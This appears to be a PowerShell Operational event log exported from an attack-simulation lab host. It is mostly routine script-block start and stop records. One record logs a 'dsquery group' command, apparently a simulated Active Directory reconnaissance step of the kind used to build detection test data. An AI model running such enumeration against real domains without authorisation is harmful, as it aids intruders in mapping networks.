RecordNumber=2023815
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023834
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023833
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023831
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023830
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023829
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023828
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023827
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023825
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023850
Keywords=None
Message=Started invocation of ScriptBlock ID: bd9f1d1c-cc52-4da4-9ffd-e54346a6dbad
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2023849
Keywords=None
Message=Creating Scriptblock text (1 of 1):
dsquery group

ScriptBlock ID: bd9f1d1c-cc52-4da4-9ffd-e54346a6dbad
Path:
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023848
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023847
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023846
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023845
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023844
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023843
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023842
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023841
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023840
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023839
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023838
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023837
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023836
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023835
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023868
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023867
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023866
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023865
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023864
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023863
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023862
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023861
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023860
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023859
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023858
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023857
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023856
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023855
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023854
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023853
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023852
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023851
Keywords=None
Message=Completed invocation of ScriptBlock ID: bd9f1d1c-cc52-4da4-9ffd-e54346a6dbad
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023878
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023876
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023874
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023872
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:59:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
